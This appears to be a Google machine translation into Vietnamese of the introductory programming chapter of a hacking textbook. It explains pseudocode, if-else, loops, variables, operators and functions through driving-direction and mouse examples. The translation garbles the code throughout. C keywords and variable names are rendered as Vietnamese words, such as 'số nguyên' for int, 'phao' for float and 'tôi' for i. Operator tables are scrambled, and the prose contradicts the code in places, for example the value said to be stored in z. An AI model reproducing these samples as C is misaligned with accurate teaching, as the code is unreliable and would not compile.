mã nguồn nhỏ hơn, không nhất thiết là thỏa hiệp bảo mật. Trên thực tế, có vô số chương trình
Machine Translated by Google
có thể được viết để hoàn thành bất kỳ nhiệm vụ nào, nhưng hầu hết các giải pháp này đều
không cần thiết phải lớn, phức tạp và cẩu thả. Một số ít giải pháp còn lại là nhỏ,
hiệu quả và gọn gàng. Các chương trình có những phẩm chất này được cho là có tính thanh
lịch, và các giải pháp thông minh và sáng tạo có xu hướng dẫn đến hiệu quả này được
gọi là hack. Các hacker ở cả hai phía của lập trình đều đánh giá cao cả vẻ đẹp của
mã thanh lịch và sự khéo léo của các bản hack thông minh.
Trong thế giới kinh doanh, người ta coi trọng hơn đến việc tạo ra chức năng
mã quốc tế hơn là đạt được các bản hack thông minh và sự tao nhã. Do sự tăng trưởng theo cấp số
nhân khủng khiếp của sức mạnh tính toán và bộ nhớ, việc dành thêm năm giờ để tạo ra một đoạn mã nhanh
hơn một chút và hiệu quả hơn về bộ nhớ chỉ đơn giản là không hợp lý về mặt kinh doanh khi xử lý các
máy tính hiện đại có chu kỳ xử lý gigahertz và bộ nhớ gigabyte. Trong khi việc tối ưu hóa thời gian và
bộ nhớ không được chú ý bởi tất cả mọi người trừ những người dùng tinh vi nhất, thì một tính năng mới lại
có thể tiếp thị được. Khi mục tiêu cuối cùng là tiền bạc, việc dành thời gian cho các bản hack thông minh
để tối ưu hóa chỉ đơn giản là không hợp lý.
Sự trân trọng thực sự về tính thanh lịch của lập trình được dành cho các
hacker: những người đam mê máy tính có mục tiêu cuối cùng không phải là kiếm lợi
nhuận mà là khai thác mọi chức năng có thể có từ những chiếc Commodore 64 cũ của họ,
những người viết mã khai thác cần viết những đoạn mã nhỏ và tuyệt vời để lọt qua các
lỗ hổng bảo mật hẹp, và bất kỳ ai khác đánh giá cao việc theo đuổi và thử thách tìm ra
giải pháp khả thi tốt nhất. Đây là những người hứng thú với lập trình và thực sự đánh
giá cao vẻ đẹp của một đoạn mã thanh lịch hoặc sự khéo léo của một bản hack thông minh.
Vì hiểu biết về lập trình là điều kiện tiên quyết để hiểu cách các chương trình có thể
bị khai thác, nên lập trình là điểm khởi đầu tự nhiên.
0x210 Lập trình là gì?
Lập trình là một khái niệm rất tự nhiên và trực quan. Một chương trình không gì khác
hơn là một loạt các câu lệnh được viết bằng một ngôn ngữ cụ thể. Chương trình ở khắp mọi
nơi, và ngay cả những người sợ công nghệ trên thế giới cũng sử dụng chương trình hàng ngày.
Chỉ đường lái xe, công thức nấu ăn, lượt chơi bóng đá và DNA đều là các loại chương trình. Một chương
trình điển hình cho chỉ đường lái xe có thể trông giống như thế này:
Bắt đầu đi xuống phố Main Street hướng về phía đông. Tiếp tục đi trên phố Main Street
cho đến khi bạn nhìn thấy một nhà thờ bên phải. Nếu đường bị chặn vì đang thi công,
hãy rẽ phải tại phố 15th Street, rẽ trái tại phố Pine Street, rồi rẽ phải tại phố
16th Street. Nếu không, bạn có thể tiếp tục đi và rẽ phải tại phố 16th Street.
Tiếp tục đi trên Đường 16 và rẽ trái vào Đường Destination. Đi thẳng xuống Đường
Destination trong 5 dặm, sau đó bạn sẽ thấy ngôi nhà bên phải.
Địa chỉ là 743 Destination Road.
Bất kỳ ai biết tiếng Anh đều có thể hiểu và làm theo những chỉ dẫn lái xe này,
vì chúng được viết bằng tiếng Anh. Thật ra, chúng không được diễn đạt trôi chảy, nhưng
mỗi hướng dẫn đều rõ ràng và dễ hiểu, ít nhất là đối với người đọc tiếng Anh.
6 0x200
Machine Translated by Google
Nhưng máy tính không hiểu tiếng Anh một cách tự nhiên; nó chỉ hiểu ngôn ngữ
máy. Để hướng dẫn máy tính làm điều gì đó, các lệnh phải được viết bằng ngôn ngữ
của nó. Tuy nhiên, ngôn ngữ máy là bí ẩn và khó làm việc—nó bao gồm các bit và
byte thô, và nó khác nhau tùy theo từng kiến trúc. Để viết một chương trình bằng
ngôn ngữ máy cho bộ xử lý Intel x86, bạn sẽ phải tìm ra giá trị liên quan đến từng
lệnh, cách mỗi lệnh tương tác và vô số chi tiết cấp thấp.
Việc lập trình như thế này rất tốn công và phức tạp, và chắc chắn là không trực quan.
Điều cần thiết để khắc phục sự phức tạp của việc viết ngôn ngữ máy là một
trình biên dịch. Trình biên dịch là một dạng trình biên dịch ngôn ngữ máy—đó là
một chương trình biên dịch ngôn ngữ lắp ráp thành mã máy có thể đọc được.
Ngôn ngữ hợp ngữ ít khó hiểu hơn ngôn ngữ máy vì nó sử dụng tên cho các lệnh và
biến khác nhau, thay vì chỉ sử dụng số.
Tuy nhiên, ngôn ngữ lắp ráp vẫn còn xa mới trực quan. Tên lệnh rất khó hiểu và
ngôn ngữ này mang tính kiến trúc cụ thể. Cũng giống như ngôn ngữ máy cho bộ xử
lý Intel x86 khác với ngôn ngữ máy cho bộ xử lý Sparc, ngôn ngữ lắp ráp x86 cũng
khác với ngôn ngữ lắp ráp Sparc. Bất kỳ chương trình nào được viết bằng ngôn ngữ
lắp ráp cho kiến trúc của một bộ xử lý sẽ không hoạt động trên kiến trúc của bộ
xử lý khác. Nếu một chương trình được viết bằng ngôn ngữ lắp ráp x86, thì nó phải
được viết lại để chạy trên kiến trúc Sparc. Ngoài ra, để viết một chương trình
hiệu quả bằng ngôn ngữ lắp ráp, bạn vẫn phải biết nhiều chi tiết cấp thấp về kiến
trúc bộ xử lý mà bạn đang viết.
Những vấn đề này có thể được giảm nhẹ bằng một dạng trình biên dịch khác gọi
là trình biên dịch. Trình biên dịch chuyển đổi ngôn ngữ cấp cao thành ngôn ngữ máy.
Ngôn ngữ cấp cao trực quan hơn nhiều so với ngôn ngữ lắp ráp và có thể được
chuyển đổi thành nhiều loại ngôn ngữ máy khác nhau cho các kiến trúc bộ xử lý
khác nhau. Điều này có nghĩa là nếu một chương trình được viết bằng ngôn ngữ cấp
cao, chương trình chỉ cần được viết một lần; cùng một đoạn mã chương trình có thể
được biên dịch thành ngôn ngữ máy cho nhiều kiến trúc cụ thể khác nhau. C, C++ và
Fortran đều là ví dụ về ngôn ngữ cấp cao.
Một chương trình được viết bằng ngôn ngữ cấp cao dễ đọc hơn và giống tiếng Anh
hơn so với ngôn ngữ lắp ráp hoặc ngôn ngữ máy, nhưng nó vẫn phải tuân theo các
quy tắc rất nghiêm ngặt về cách diễn đạt các hướng dẫn, nếu không trình biên
dịch sẽ không thể hiểu được.
0x220 Mã giả
Các lập trình viên còn có một dạng ngôn ngữ lập trình khác gọi là mã giả. Mã
giả chỉ đơn giản là tiếng Anh được sắp xếp theo cấu trúc chung tương tự như ngôn
ngữ cấp cao. Trình biên dịch, trình lắp ráp hoặc bất kỳ máy tính nào không hiểu
được mã này, nhưng đây là cách hữu ích để lập trình viên sắp xếp các lệnh. Mã giả
không được định nghĩa rõ ràng; trên thực tế, hầu hết mọi người viết mã giả hơi
khác một chút. Nó giống như một liên kết còn thiếu mơ hồ giữa tiếng Anh và các
ngôn ngữ lập trình cấp cao như C. Mã giả tạo nên phần giới thiệu tuyệt vời về
các khái niệm lập trình phổ biến chung.
Lập trình 7
Machine Translated by Google
Cấu trúc điều khiển 0x230
Nếu không có cấu trúc điều khiển, một chương trình sẽ chỉ là một chuỗi các lệnh được thực
hiện theo thứ tự tuần tự. Điều này phù hợp với các chương trình rất đơn giản, nhưng hầu hết
các chương trình, như ví dụ về chỉ dẫn lái xe, đều không đơn giản như vậy. Chỉ dẫn lái xe
bao gồm các câu lệnh như, Tiếp tục đi trên Phố chính cho đến khi bạn thấy một nhà thờ bên
phải và Nếu đường bị chặn do đang thi công.
. . Những
câu lệnh này được gọi là cấu trúc điều khiển và chúng thay đổi luồng thực thi của chương trình từ thứ
tự tuần tự đơn giản sang luồng phức tạp hơn và hữu ích hơn.
0x231 Nếu-Thì-Khác
Trong trường hợp hướng dẫn lái xe của chúng tôi, đường Main Street có thể đang được xây dựng.
Nếu đúng như vậy, cần có một bộ hướng dẫn đặc biệt để giải quyết tình huống đó. Nếu không,
cần tuân theo bộ hướng dẫn ban đầu. Những trường hợp đặc biệt này có thể được tính đến trong
một chương trình có một trong những cấu trúc điều khiển tự nhiên nhất: cấu trúc if-thenelse. Nhìn chung, nó trông giống như thế này:
Nếu (điều kiện) thì
{
Một tập hợp các hướng dẫn để thực hiện nếu điều kiện được đáp ứng;
}
Khác
{
Tập lệnh thực hiện nếu điều kiện không được đáp ứng;
}
Đối với cuốn sách này, một mã giả giống C sẽ được sử dụng, vì vậy mọi hướng dẫn sẽ kết
thúc bằng dấu chấm phẩy và các tập hợp hướng dẫn sẽ được nhóm lại bằng dấu ngoặc nhọn và
thụt lề. Cấu trúc mã giả if-then-else của các hướng dẫn lái xe trước đó có thể trông
giống như thế này:
Lái xe xuống phố Main;
Nếu (đường phố bị chặn)
{
Rẽ phải vào Đường 15;
Rẽ trái vào phố Pine;
Rẽ phải vào Đường 16;
}
Khác
{
Rẽ phải vào Đường 16;
}
Mỗi lệnh nằm trên một dòng riêng và các tập lệnh có điều kiện khác nhau được nhóm
giữa các dấu ngoặc nhọn và thụt vào để dễ đọc.
Trong C và nhiều ngôn ngữ lập trình khác, từ khóa then được ngầm định và do đó bị bỏ qua, vì
vậy nó cũng đã bị bỏ qua trong mã giả trước đó.
8 0x200
Machine Translated by Google
Tất nhiên, các ngôn ngữ khác yêu cầu từ khóa then trong cú pháp của chúng—
Ví dụ như BASIC, Fortran và thậm chí là Pascal. Những loại khác biệt về cú pháp
này trong ngôn ngữ lập trình chỉ là bề nổi; cấu trúc cơ bản vẫn như vậy. Khi một lập
trình viên hiểu được các khái niệm mà các ngôn ngữ này đang cố gắng truyền đạt,
việc học các biến thể cú pháp khác nhau khá dễ dàng. Vì C sẽ được sử dụng trong các
phần sau, nên mã giả được sử dụng trong cuốn sách này sẽ tuân theo cú pháp giống C,
nhưng hãy nhớ rằng mã giả có thể có nhiều dạng.
Một quy tắc chung khác của cú pháp giống C là khi một tập lệnh được giới hạn
bởi dấu ngoặc nhọn chỉ bao gồm một lệnh, thì dấu ngoặc nhọn là tùy chọn. Vì mục đích dễ
đọc, vẫn nên thụt lề các lệnh này, nhưng về mặt cú pháp thì không cần thiết. Các
hướng dẫn lái xe từ trước có thể được viết lại theo quy tắc này để tạo ra một đoạn mã
giả tương đương:
Lái xe xuống phố Main;
Nếu (đường phố bị chặn)
{
Rẽ phải vào Đường 15;
Rẽ trái vào phố Pine;
Rẽ phải vào Đường 16;
}
Khác
Rẽ phải vào Đường 16;
Quy tắc này về các bộ hướng dẫn đúng với tất cả các điều khiển
các cấu trúc được đề cập trong cuốn sách này và bản thân quy tắc có thể được mô tả
bằng mã giả.
Nếu (chỉ có một lệnh trong một tập lệnh)
Việc sử dụng dấu ngoặc nhọn để nhóm các hướng dẫn là tùy chọn;
Khác
{
Việc sử dụng dấu ngoặc nhọn là cần thiết;
Vì phải có một cách hợp lý để nhóm các hướng dẫn này lại;
}
Ngay cả mô tả cú pháp cũng có thể được coi là một chương trình đơn giản. Có
nhiều biến thể của if-then-else, chẳng hạn như các câu lệnh select/case, nhưng logic
về cơ bản vẫn giống nhau: Nếu điều này xảy ra thì hãy làm những điều này, nếu không thì
hãy làm những điều khác này (có thể bao gồm nhiều câu lệnh if-then hơn nữa).
0x232 Vòng lặp While/Until
Một khái niệm lập trình cơ bản khác là cấu trúc điều khiển while, đây là một loại
vòng lặp. Một lập trình viên thường muốn thực hiện một tập lệnh nhiều lần. Một
chương trình có thể hoàn thành nhiệm vụ này thông qua vòng lặp, nhưng nó yêu cầu một
tập hợp các điều kiện cho biết khi nào thì dừng vòng lặp,
Lập trình 9
Machine Translated by Google
nếu không nó sẽ tiếp tục vô tận. Vòng lặp while yêu cầu thực hiện tập lệnh sau
trong vòng lặp khi điều kiện là đúng. Một chương trình đơn giản cho một con chuột
đói có thể trông giống như thế này:
Trong khi (bạn đang đói)
{
Tìm chút thức ăn;
Ăn thức ăn;
}
Bộ hai lệnh theo sau lệnh while sẽ được lặp lại trong khi chuột vẫn còn đói. Lượng thức ăn mà chuột
tìm thấy mỗi lần có thể dao động từ một mẩu vụn nhỏ đến cả một ổ bánh mì. Tương tự như vậy, số lần
lệnh trong lệnh while được thực thi thay đổi tùy thuộc vào lượng thức ăn mà chuột tìm thấy.
Một biến thể khác của vòng lặp while là vòng lặp until, một cú pháp có sẵn
trong ngôn ngữ lập trình Perl (C không sử dụng cú pháp này). Vòng lặp until chỉ
đơn giản là vòng lặp while với câu lệnh điều kiện được đảo ngược. Cùng một chương
trình chuột sử dụng vòng lặp until sẽ là:
Cho đến khi (bạn không đói)
{
Tìm chút thức ăn;
Ăn thức ăn;
}
Về mặt logic, bất kỳ câu lệnh nào giống until đều có thể được chuyển đổi thành vòng lặp while.
Hướng dẫn lái xe trước đó có câu lệnh Tiếp tục đi trên phố Main cho đến khi bạn
nhìn thấy một nhà thờ bên phải. Câu lệnh này có thể dễ dàng được thay đổi thành
vòng lặp while chuẩn chỉ bằng cách đảo ngược điều kiện.
Trong khi (không có nhà thờ nào ở bên phải)
Lái xe xuống phố Main;
Vòng lặp 0x233
Một cấu trúc điều khiển vòng lặp khác là vòng lặp for. Cấu trúc này thường được sử
dụng khi một lập trình viên muốn lặp lại một số lần lặp nhất định. Hướng lái xe
Lái xe thẳng xuống Đường đích trong 5 dặm có thể được chuyển đổi thành vòng lặp
for trông giống như thế này:
Đối với (5 lần lặp lại)
Lái xe thẳng 1 dặm;
Trên thực tế, vòng lặp for chỉ là vòng lặp while với một bộ đếm. Câu lệnh tương tự có thể được
viết như sau:
Đặt bộ đếm về 0;
Trong khi (bộ đếm nhỏ hơn 5)
10 0x200
Machine Translated by Google
{
Lái xe thẳng 1 dặm;
Thêm 1 vào số đếm;
}
Cú pháp mã giả giống C của vòng lặp for làm cho điều này trở nên rõ ràng
hơn:
Đối với (i=0; i<5; i++)
Lái xe thẳng 1 dặm;
Trong trường hợp này, bộ đếm được gọi là i, và câu lệnh for được chia thành ba
phần, được phân cách bằng dấu chấm phẩy. Phần đầu tiên khai báo bộ đếm và đặt nó
thành giá trị ban đầu, trong trường hợp này là 0. Phần thứ hai giống như câu lệnh while
sử dụng bộ đếm: Trong khi bộ đếm đáp ứng điều kiện này, hãy tiếp tục lặp. Phần thứ ba
và cuối cùng mô tả hành động nào nên được thực hiện trên bộ đếm trong mỗi lần lặp.
Trong trường hợp này, i++ là cách viết tắt của câu Thêm 1 vào bộ đếm được gọi là i.
Sử dụng tất cả các cấu trúc điều khiển, hướng dẫn lái xe từ trang 6 có thể được
chuyển đổi thành mã giả giống C trông giống như thế này:
Bắt đầu đi về phía Đông trên phố Main;
Trong khi (không có nhà thờ nào ở bên phải)
Lái xe xuống phố Main;
Nếu (đường phố bị chặn)
{
Rẽ phải vào Đường 15;
Rẽ trái vào phố Pine;
Rẽ phải vào Đường 16;
}
Khác
Rẽ phải vào Đường 16;
Rẽ trái vào Đường Destination;
Đối với (i=0; i<5; i++)
Lái xe thẳng 1 dặm;
Dừng tại 743 Destination Road;
0x240 Các khái niệm lập trình cơ bản hơn
Trong các phần sau, các khái niệm lập trình phổ biến hơn sẽ được giới thiệu. Các khái
niệm này được sử dụng trong nhiều ngôn ngữ lập trình, với một vài điểm khác biệt về cú
pháp. Khi tôi giới thiệu các khái niệm này, tôi sẽ tích hợp chúng vào các ví dụ mã giả
sử dụng cú pháp giống C. Cuối cùng, mã giả sẽ trông rất giống với mã C.
Biến 0x241
Bộ đếm được sử dụng trong vòng lặp for thực chất là một loại biến. Một biến có thể được
coi đơn giản như một đối tượng chứa dữ liệu có thể thay đổi—
do đó có tên như vậy. Cũng có những biến không thay đổi, chúng rất phù hợp
Lập trình
11
Machine Translated by Google
được gọi là hằng số. Quay lại ví dụ lái xe, tốc độ của xe sẽ là một biến, trong khi màu
sắc của xe sẽ là một hằng số. Trong mã giả, biến là những khái niệm trừu tượng đơn
giản, nhưng trong C (và nhiều ngôn ngữ khác), biến phải được khai báo và được gán
một kiểu trước khi có thể sử dụng. Điều này là do một chương trình C cuối cùng sẽ được
biên dịch thành một chương trình có thể thực thi. Giống như một công thức nấu ăn
liệt kê tất cả các thành phần cần thiết trước khi đưa ra hướng dẫn, khai báo biến cho
phép bạn chuẩn bị trước khi đi vào phần chính của chương trình. Cuối cùng, tất cả các
biến được lưu trữ trong bộ nhớ ở đâu đó và khai báo của chúng cho phép trình biên dịch
sắp xếp bộ nhớ này hiệu quả hơn. Tuy nhiên, cuối cùng, bất chấp tất cả các khai báo
kiểu biến, mọi thứ đều chỉ là bộ nhớ.
Trong C, mỗi biến được cung cấp một kiểu dữ liệu mô tả thông tin được lưu trữ
trong biến đó. Một số kiểu dữ liệu phổ biến nhất là int
(giá trị số nguyên), float (giá trị dấu phẩy động thập phân) và char (giá trị ký tự
đơn). Biến được khai báo đơn giản bằng cách sử dụng các từ khóa này trước khi liệt kê
các biến, như bạn có thể thấy bên dưới.
số nguyên a, b;
phao k;
ký tự z;
Các biến a và b hiện được định nghĩa là số nguyên, k có thể chấp nhận các giá trị
dấu phẩy động (như 3.14) và z dự kiến sẽ giữ giá trị ký tự, như A
hoặc w. Các biến có thể được gán giá trị khi chúng được khai báo hoặc bất kỳ lúc nào
sau đó, bằng cách sử dụng toán tử = .
số nguyên a = 13, b;
phao k;
ký tự z = 'A';
k = 3,14;
z = 'v';
b = a + 5;
Sau khi các hướng dẫn sau được thực thi, biến a sẽ chứa giá trị 13, k sẽ chứa số
3,14, z sẽ chứa ký tự w và b sẽ chứa giá trị 18, vì 13 cộng 5 bằng 18. Biến chỉ đơn
giản là một cách để ghi nhớ các giá trị; tuy nhiên, với C, trước tiên bạn phải khai báo
kiểu của từng biến.
0x242 Toán tử số học
Câu lệnh b = a + 7 là một ví dụ về toán tử số học rất đơn giản.
Trong C, các ký hiệu sau được sử dụng cho nhiều phép tính số học khác nhau.
Bốn phép toán đầu tiên có vẻ quen thuộc. Phép giảm modulo có vẻ như là một khái
niệm mới, nhưng thực ra nó chỉ là lấy phần dư sau phép chia. Nếu a là 13, thì 13 chia
cho 5 bằng 2, với phần dư là 3, điều đó có nghĩa là a % 5 = 3. Ngoài ra, vì các biến
a và b là số nguyên, nên
12 0x200
Machine Translated by Google
câu lệnh b = a / 5 sẽ dẫn đến giá trị 2 được lưu trữ trong b, vì đó là phần nguyên của nó. Biến dấu
phẩy động phải được sử dụng để giữ lại câu trả lời đúng hơn là 2.6.
Hoạt động
Ví dụ về biểu tượng
Phép cộng
+
b = một + 5
Phép trừ
-
b = a - 5
Phép nhân
*
b = một *
Phân công
/
b = một / 5
Giảm modulo %
5
b = một % 5
Để có được một chương trình sử dụng các khái niệm này, bạn phải nói ngôn ngữ của nó. Ngôn ngữ
C cũng cung cấp một số dạng viết tắt cho các phép toán số học này. Một trong số này đã được đề cập
trước đó và thường được sử dụng trong các vòng lặp for.
Giải thích viết tắt đầy đủ
tôi = tôi + 1
i++ hoặc ++i Thêm 1 vào biến.
tôi = tôi - 1
i-- hoặc --i Trừ 1 khỏi biến.
Các biểu thức viết tắt này có thể được kết hợp với các phép toán số học khác để tạo ra các
biểu thức phức tạp hơn. Đây là nơi sự khác biệt giữa i++ và ++i trở nên rõ ràng. Biểu thức đầu
tiên có nghĩa là Tăng giá trị của i lên 1 sau khi đánh giá phép toán số học, trong khi biểu
thức thứ hai có nghĩa là Tăng giá trị của i lên 1 trước khi đánh giá phép toán số học. Ví dụ sau
đây sẽ giúp làm rõ.
số nguyên a, b;
một = 5;
*
b = a++
6;
Vào cuối tập hướng dẫn này, b sẽ chứa 30 và a sẽ chứa 6, vì cách viết tắt của b = a++
*
6; tương đương với các câu sau:
b = 6;
*
một = một + 1;
Tuy nhiên, nếu lệnh b = ++a
*
6; được sử dụng, thứ tự của phép cộng
đến một sự thay đổi, dẫn đến các hướng dẫn tương đương sau:
một = một + 1;
b = a * 6;
Vì thứ tự đã thay đổi, trong trường hợp này b sẽ chứa 36 và a vẫn chứa 6.
Lập trình 13
Machine Translated by Google
Trong các chương trình, biến thường cần được sửa đổi tại chỗ. Ví dụ, bạn có
thể cần thêm một giá trị tùy ý như 12 vào một biến và lưu trữ kết quả ngay trong
biến đó (ví dụ, i = i + 12). Điều này xảy ra khá thường xuyên đến mức cũng có
cách viết tắt cho nó.
Giải thích viết tắt đầy đủ
tôi = tôi + 12
tôi+=12
Thêm một số giá trị vào biến.
tôi = tôi - 12
tôi-=12
Trừ một số giá trị khỏi biến.
tôi = tôi * 12
tôi*=12
Nhân một giá trị nào đó với biến.
tôi = tôi / 12
tôi/=12
Chia một số giá trị từ biến.
Toán tử so sánh 0x243
Biến thường được sử dụng trong các câu lệnh điều kiện của các cấu trúc điều khiển đã
giải thích trước đó. Các câu lệnh điều kiện này dựa trên một số loại so sánh. Trong
C, các toán tử so sánh này sử dụng cú pháp viết tắt khá phổ biến trong nhiều ngôn
ngữ lập trình.
Tình trạng
Ví dụ về biểu tượng
Ít hơn
<
(a < b)
Lớn hơn
>
(a > b)
Nhỏ hơn hoặc bằng
<=
(a <= b)
Lớn hơn hoặc bằng
>=
(a >= b)
==
(a == b)
!=
(a != b)
Bằng với
Không bằng
Hầu hết các toán tử này đều tự giải thích; tuy nhiên, hãy lưu ý rằng cách
viết tắt cho equal to sử dụng hai dấu bằng. Đây là một sự phân biệt quan trọng, vì
dấu bằng kép được sử dụng để kiểm tra tính tương đương, trong khi dấu bằng đơn được
sử dụng để gán giá trị cho một biến. Câu lệnh a = 7 có nghĩa là Đặt giá trị 7 vào
biến a, trong khi a == 7 có nghĩa là Kiểm tra xem biến a có bằng 7 không. (Một số
ngôn ngữ lập trình như Pascal thực sự sử dụng := để gán biến nhằm loại bỏ sự nhầm
lẫn về mặt thị giác.) Ngoài ra, hãy lưu ý rằng dấu chấm than thường có nghĩa là
không. Biểu tượng này có thể được sử dụng riêng để đảo ngược bất kỳ biểu thức nào.
!(a < b)
tương đương với
(a >= b)
Các toán tử so sánh này cũng có thể được nối lại với nhau bằng cách sử dụng lệnh short-
tay cho OR và AND.
Ví dụ về ký hiệu logic
14 0x200
HOẶC ||
((a < b) || (a < c))
VÀ &&
((a < b) && !(a < c))
Machine Translated by Google
Câu lệnh ví dụ bao gồm hai điều kiện nhỏ hơn được kết hợp với logic OR sẽ kích hoạt true nếu a nhỏ
hơn b, OR nếu a nhỏ hơn c. Tương tự, câu lệnh ví dụ bao gồm hai phép so sánh nhỏ hơn được kết hợp với
logic AND sẽ kích hoạt true nếu a nhỏ hơn b VÀ a không nhỏ hơn c. Các câu lệnh này nên được nhóm
trong dấu ngoặc đơn và có thể chứa nhiều biến thể khác nhau.
Nhiều thứ có thể được rút gọn thành các biến, toán tử so sánh và cấu trúc điều khiển. Quay lại ví
dụ về con chuột đang tìm kiếm thức ăn, cơn đói có thể được dịch thành một biến Boolean true/false. Đương
nhiên, 1 có nghĩa là đúng và 0 có nghĩa là sai.
Trong khi (đói == 1)
{
Tìm chút thức ăn;
Ăn thức ăn;
}
Đây là một cách viết tắt khác được các lập trình viên và tin tặc sử dụng khá thường xuyên. C
thực sự không có bất kỳ toán tử Boolean nào, vì vậy bất kỳ giá trị khác không nào được coi là đúng và
một câu lệnh được coi là sai nếu nó chứa 0. Trên thực tế, các toán tử so sánh thực sự sẽ trả về giá trị
1 nếu phép so sánh là đúng và giá trị 0 nếu nó sai. Kiểm tra xem biến hungry
bằng 1 sẽ trả về 1 nếu hungry bằng 1 và 0 nếu hungry bằng 0. Vì chương trình chỉ sử dụng hai trường hợp
này nên có thể loại bỏ hoàn toàn toán tử so sánh.
Trong khi (đói)
{
Tìm chút thức ăn;
Ăn thức ăn;
}
Một chương trình chuột thông minh hơn với nhiều đầu vào hơn cho thấy cách các toán tử so sánh có
thể được kết hợp với các biến.
Trong khi ((đói) && !(cat_present))
{
Tìm chút thức ăn;
Nếu(!(thức ăn nằm trên bẫy chuột))
Ăn thức ăn;
}
Ví dụ này giả định rằng cũng có các biến mô tả sự hiện diện của một con mèo và vị trí của thức ăn,
với giá trị 1 là đúng và 0 là sai.
Chỉ cần nhớ rằng bất kỳ giá trị khác không nào cũng được coi là đúng và giá trị 0 được coi là sai.
Lập trình
15
Machine Translated by Google
0x244 Chức năng
Đôi khi sẽ có một tập hợp các hướng dẫn mà lập trình viên biết rằng anh ta sẽ cần nhiều lần. Các hướng
dẫn này có thể được nhóm lại thành một chương trình con nhỏ hơn gọi là hàm. Trong các ngôn ngữ khác,
hàm được gọi là các chương trình con hoặc thủ tục. Ví dụ, hành động rẽ xe thực sự bao gồm nhiều
hướng dẫn nhỏ hơn: Bật đèn báo rẽ thích hợp, giảm tốc độ, kiểm tra phương tiện đang tới, xoay vô lăng
theo hướng thích hợp, v.v. Các hướng dẫn lái xe từ đầu chương này yêu cầu khá nhiều lượt rẽ; tuy nhiên,
việc liệt kê mọi hướng dẫn nhỏ cho mỗi lượt rẽ sẽ rất tẻ nhạt (và khó đọc hơn). Bạn có thể truyền các
biến làm đối số cho một hàm để sửa đổi cách hàm hoạt động. Trong trường hợp này, hàm được truyền hướng rẽ.
Hàm Turn(biến_hướng)
{
Kích hoạt đèn báo hướng biến đổi;
Chậm lại;
Kiểm tra xem có phương tiện nào đang tới không;
trong khi (có xe ngược chiều)
{
Dừng lại;
Hãy chú ý đến xe đang tới;
}
Xoay vô lăng theo hướng biến đổi;
trong khi(lượt đi chưa hoàn thành)
{
nếu(tốc độ < 5 dặm/giờ)
Tăng tốc;
}
Quay vô lăng trở lại vị trí ban đầu;
Tắt đèn báo hướng biến đổi;
}
Hàm này mô tả tất cả các lệnh cần thiết để thực hiện một lượt rẽ. Khi một chương trình biết về hàm
này cần rẽ, nó có thể chỉ cần gọi hàm này. Khi hàm được gọi, các lệnh tìm thấy trong đó sẽ được thực thi
với các đối số được truyền vào; sau đó, lệnh thực thi sẽ quay trở lại vị trí trong chương trình, sau
lệnh gọi hàm. Có thể truyền trái hoặc phải vào hàm này, khiến hàm rẽ theo hướng đó.
Theo mặc định trong C, các hàm có thể trả về giá trị cho người gọi. Đối với những người quen
thuộc với các hàm trong toán học, điều này hoàn toàn hợp lý. Hãy tưởng tượng một hàm tính giai thừa của
một số—tất nhiên, nó trả về kết quả.
Trong C, các hàm không được gắn nhãn bằng từ khóa “hàm”; thay vào đó, chúng được khai báo theo
kiểu dữ liệu của biến mà chúng trả về. Định dạng này trông rất giống với khai báo biến. Nếu một hàm có
nghĩa là trả về một
16 0x200
Machine Translated by Google
số nguyên (có lẽ là một hàm tính giai thừa của một số x nào đó), hàm có thể trông như thế này:
int giai thừa(int x)
{
số nguyên i;
đối với (i = 1; i < x; i++)
x *= tôi;
trả về x;
}
Hàm này được khai báo là một số nguyên vì nó nhân mọi giá trị từ 1 đến x và trả về
kết quả là một số nguyên. Câu lệnh return ở cuối hàm sẽ truyền lại nội dung của biến x và
kết thúc hàm. Sau đó, hàm giai thừa này có thể được sử dụng như một biến số nguyên trong
phần chính của bất kỳ chương trình nào biết về nó.
số nguyên a=5, b;
b = giai thừa(a);
Vào cuối chương trình ngắn này, biến b sẽ chứa 120, vì hàm giai thừa sẽ được gọi
với đối số là 5 và sẽ trả về 120.
Cũng trong C, trình biên dịch phải "biết" về các hàm trước khi có thể sử dụng
chúng. Điều này có thể thực hiện được bằng cách chỉ cần viết toàn bộ hàm trước khi sử dụng
nó sau này trong chương trình hoặc bằng cách sử dụng các nguyên mẫu hàm. Nguyên mẫu hàm
chỉ đơn giản là một cách để cho trình biên dịch mong đợi một hàm có tên này, kiểu dữ
liệu trả về này và các kiểu dữ liệu này làm đối số chức năng của nó. Hàm thực tế có thể
nằm gần cuối chương trình, nhưng nó có thể được sử dụng ở bất kỳ nơi nào khác, vì trình
biên dịch đã biết về nó. Một ví dụ về nguyên mẫu hàm cho hàm factorial() sẽ trông giống
như thế này:
int giai thừa(int);
Thông thường, nguyên mẫu hàm nằm gần đầu chương trình.
Không cần phải thực sự định nghĩa bất kỳ tên biến nào trong nguyên mẫu, vì điều này được
thực hiện trong hàm thực tế. Điều duy nhất trình biên dịch quan tâm là tên hàm, kiểu dữ
liệu trả về và kiểu dữ liệu của các đối số chức năng của nó.
Nếu một hàm không có giá trị nào để trả về, thì nó phải được khai báo là void, như
trường hợp của hàm turn() mà tôi đã sử dụng làm ví dụ trước đó. Tuy nhiên, hàm turn() vẫn
chưa nắm bắt được tất cả các chức năng mà chỉ đường lái xe của chúng ta cần. Mỗi lượt rẽ
trong chỉ đường đều có cả hướng và tên đường. Điều này có nghĩa là một hàm rẽ phải có hai
biến: hướng rẽ và đường rẽ vào. Điều này làm phức tạp chức năng rẽ, vì phải xác định
đúng đường trước khi có thể rẽ. Một hàm rẽ hoàn chỉnh hơn sử dụng cú pháp giống C thích
hợp được liệt kê bên dưới trong mã giả.
Lập trình 17
Machine Translated by Google
void turn(biến_hướng, tên_phố_mục_đích) {
Tìm kiếm biển báo đường
phố; current_intersection_name = đọc tên biển báo đường phố;
while(current_intersection_name != target_street_name) {
Tìm kiếm một biển báo đường khác;
current_intersection_name = đọc tên biển báo đường; }
Kích hoạt đèn báo hướng biến đổi;
Chậm lại;
Kiểm tra xem có phương tiện đang
tới không; trong khi(có phương tiện đang
tới) {
Dừng lại;
Hãy chú ý đến xe đang tới; }
Xoay vô lăng theo hướng biến thiên; while(vòng quay chưa hoàn
tất) { if(tốc độ < 5 dặm/giờ)
Tăng tốc;
}
Quay vô lăng trở lại vị trí ban đầu;
Tắt đèn báo hướng biến đổi; }
Hàm này bao gồm một phần tìm kiếm giao lộ thích hợp bằng cách tìm kiếm biển
báo đường phố, đọc tên trên mỗi biển báo đường phố và lưu trữ tên đó trong một
biến có tên là current_intersection_name. Nó sẽ tiếp tục tìm kiếm và đọc biển
